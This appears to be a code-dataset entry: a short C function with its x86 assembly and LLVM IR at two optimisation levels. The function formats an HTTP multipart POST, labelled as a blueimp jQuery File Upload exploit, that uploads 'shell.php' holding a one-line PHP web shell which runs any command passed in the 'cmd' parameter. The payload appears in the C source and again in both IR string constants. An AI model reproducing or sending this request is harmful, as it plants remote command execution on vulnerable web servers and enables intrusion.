#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ snprintf(char *, int, char *, char *, char *);
void post_request(char *p, char *path, char *arg, char *ar1) {
  snprintf(p, 1024,
           "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery "
           "exploit/9.22.0\r\nAccept: */*\r\nContent-Length: "
           "244\r\nContent-Type: multipart/form-data; "
           "boundary=------------------------c8e05c8871143853\r\n\r\n----------"
           "----------------c8e05c8871143853\r\nContent-Disposition: "
           "form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: "
           "application/octet-stream\r\n\r\n<?php $cmd=$_GET['cmd']; "
           "system($cmd);?>\r\n\r\n--------------------------c8e05c8871143853--"
           "\r\n\r\n",
           path, arg);
}


x86 assembly (clang, -O0):
<post_request>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rcx
mov    -0x18(%rbp),%r8
mov    $0x400,%esi
lea    0xec0(%rip),%rdx
call   1030 <snprintf@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<post_request>:
mov    %rdx,%r8
mov    %rsi,%rcx
lea    0xee3(%rip),%rdx
mov    $0x400,%esi
jmp    1030 <snprintf@plt>

LLVM IR (-O0):
@.str = [441 x i8] c"POST /%s HTTP/1.1\0D\0AHost: %s\0D\0AUser-Agent: blueimp jquery exploit/9.22.0\0D\0AAccept: */*\0D\0AContent-Length: 244\0D\0AContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\0D\0A\0D\0A--------------------------c8e05c8871143853\0D\0AContent-Disposition: form-data; name=\22files\22; filename=\22shell.php\22\0D\0AContent-Type: application/octet-stream\0D\0A\0D\0A<?php $cmd=$_GET['cmd']; system($cmd);?>\0D\0A\0D\0A--------------------------c8e05c8871143853--\0D\0A\0D\0A\00"
define void @post_request(i8* %0, i8* %1, i8* %2, i8* %3) {
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
store i8* %0, i8** %5
store i8* %1, i8** %6
store i8* %2, i8** %7
store i8* %3, i8** %8
%9 = load i8*, i8** %5
%10 = load i8*, i8** %6
%11 = load i8*, i8** %7
%12 = call i32 @snprintf(i8* %9, i32 1024, i8* getelementptr inbounds ([441 x i8], [441 x i8]* @.str, i64 0, i64 0), i8* %10, i8* %11)
ret void
}

LLVM IR (-O2):
@.str = [441 x i8] c"POST /%s HTTP/1.1\0D\0AHost: %s\0D\0AUser-Agent: blueimp jquery exploit/9.22.0\0D\0AAccept: */*\0D\0AContent-Length: 244\0D\0AContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\0D\0A\0D\0A--------------------------c8e05c8871143853\0D\0AContent-Disposition: form-data; name=\22files\22; filename=\22shell.php\22\0D\0AContent-Type: application/octet-stream\0D\0A\0D\0A<?php $cmd=$_GET['cmd']; system($cmd);?>\0D\0A\0D\0A--------------------------c8e05c8871143853--\0D\0A\0D\0A\00"
define void @post_request(i8* %0, i8* %1, i8* %2, i8* nocapture readnone %3) {
%5 = tail call i32 @snprintf(i8* %0, i32 1024, i8* getelementptr inbounds ([441 x i8], [441 x i8]* @.str, i64 0, i64 0), i8* %1, i8* %2)
ret void
}